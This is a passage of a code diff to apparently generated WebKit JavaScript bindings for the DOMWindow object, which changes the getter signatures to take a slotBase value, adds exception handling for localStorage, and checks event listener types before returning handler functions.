+JSValue jsDOMWindowOuterHeight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->outerHeight());
+    JSValue result = jsNumber(exec, imp->outerHeight());
+    return result;
 }
 
-JSValue jsDOMWindowOuterWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOuterWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->outerWidth());
+    JSValue result = jsNumber(exec, imp->outerWidth());
+    return result;
 }
 
-JSValue jsDOMWindowInnerHeight(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowInnerHeight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->innerHeight());
+    JSValue result = jsNumber(exec, imp->innerHeight());
+    return result;
 }
 
-JSValue jsDOMWindowInnerWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowInnerWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->innerWidth());
+    JSValue result = jsNumber(exec, imp->innerWidth());
+    return result;
 }
 
-JSValue jsDOMWindowScreenX(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScreenX(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->screenX());
+    JSValue result = jsNumber(exec, imp->screenX());
+    return result;
 }
 
-JSValue jsDOMWindowScreenY(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScreenY(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->screenY());
+    JSValue result = jsNumber(exec, imp->screenY());
+    return result;
 }
 
-JSValue jsDOMWindowScreenLeft(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScreenLeft(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->screenLeft());
+    JSValue result = jsNumber(exec, imp->screenLeft());
+    return result;
 }
 
-JSValue jsDOMWindowScreenTop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScreenTop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->screenTop());
+    JSValue result = jsNumber(exec, imp->screenTop());
+    return result;
 }
 
-JSValue jsDOMWindowScrollX(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScrollX(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->scrollX());
+    JSValue result = jsNumber(exec, imp->scrollX());
+    return result;
 }
 
-JSValue jsDOMWindowScrollY(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScrollY(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->scrollY());
+    JSValue result = jsNumber(exec, imp->scrollY());
+    return result;
 }
 
-JSValue jsDOMWindowPageXOffset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowPageXOffset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->pageXOffset());
+    JSValue result = jsNumber(exec, imp->pageXOffset());
+    return result;
 }
 
-JSValue jsDOMWindowPageYOffset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowPageYOffset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->pageYOffset());
+    JSValue result = jsNumber(exec, imp->pageYOffset());
+    return result;
 }
 
-JSValue jsDOMWindowClosed(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowClosed(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsBoolean(imp->closed());
+    JSValue result = jsBoolean(imp->closed());
+    return result;
 }
 
-JSValue jsDOMWindowLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsDOMWindowName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsString(exec, imp->name());
+    JSValue result = jsString(exec, imp->name());
+    return result;
 }
 
-JSValue jsDOMWindowStatus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowStatus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsString(exec, imp->status());
+    JSValue result = jsString(exec, imp->status());
+    return result;
 }
 
-JSValue jsDOMWindowDefaultStatus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDefaultStatus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsString(exec, imp->defaultStatus());
+    JSValue result = jsString(exec, imp->defaultStatus());
+    return result;
 }
 
-JSValue jsDOMWindowDefaultstatus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDefaultstatus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsString(exec, imp->defaultstatus());
+    JSValue result = jsString(exec, imp->defaultstatus());
+    return result;
 }
 
-JSValue jsDOMWindowSelf(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSelf(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->self()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->self()));
+    return result;
 }
 
-JSValue jsDOMWindowWindow(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWindow(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->window()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->window()));
+    return result;
 }
 
-JSValue jsDOMWindowFrames(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowFrames(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->frames()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->frames()));
+    return result;
 }
 
-JSValue jsDOMWindowOpener(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOpener(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->opener()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->opener()));
+    return result;
 }
 
-JSValue jsDOMWindowParent(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowParent(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parent()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parent()));
+    return result;
 }
 
-JSValue jsDOMWindowTop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowTop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->top()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->top()));
+    return result;
 }
 
-JSValue jsDOMWindowDocument(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDocument(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->document()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->document()));
+    return result;
 }
 
-JSValue jsDOMWindowMedia(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMedia(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    return result;
 }
 
-JSValue jsDOMWindowDevicePixelRatio(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDevicePixelRatio(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsNumber(exec, imp->devicePixelRatio());
+    JSValue result = jsNumber(exec, imp->devicePixelRatio());
+    return result;
 }
 
-JSValue jsDOMWindowApplicationCache(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowApplicationCache(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->applicationCache()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->applicationCache()));
+    return result;
 }
 
-JSValue jsDOMWindowSessionStorage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSessionStorage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->sessionStorage()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->sessionStorage()));
+    return result;
 }
 
-JSValue jsDOMWindowLocalStorage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowLocalStorage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    UNUSED_PARAM(exec);
+    ExceptionCode ec = 0;
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->localStorage()));
+    JSC::JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->localStorage(ec)));
+    setDOMException(exec, ec);
+    return result;
 }
 
-JSValue jsDOMWindowConsole(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowConsole(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->console()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->console()));
+    return result;
 }
 
-JSValue jsDOMWindowOnabort(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnabort(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onabort()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnbeforeunload(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnbeforeunload(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforeunload()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnblur(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnblur(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onblur()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOncanplay(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOncanplay(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->oncanplay()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOncanplaythrough(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOncanplaythrough(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->oncanplaythrough()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnchange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnchange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onchange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnclick(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnclick(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onclick()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOncontextmenu(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOncontextmenu(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->oncontextmenu()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndblclick(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndblclick(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondblclick()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndrag(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndrag(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondrag()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndragend(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndragend(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondragend()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndragenter(ExecState* exec, const Identifier&, const PropertySlot& slot)
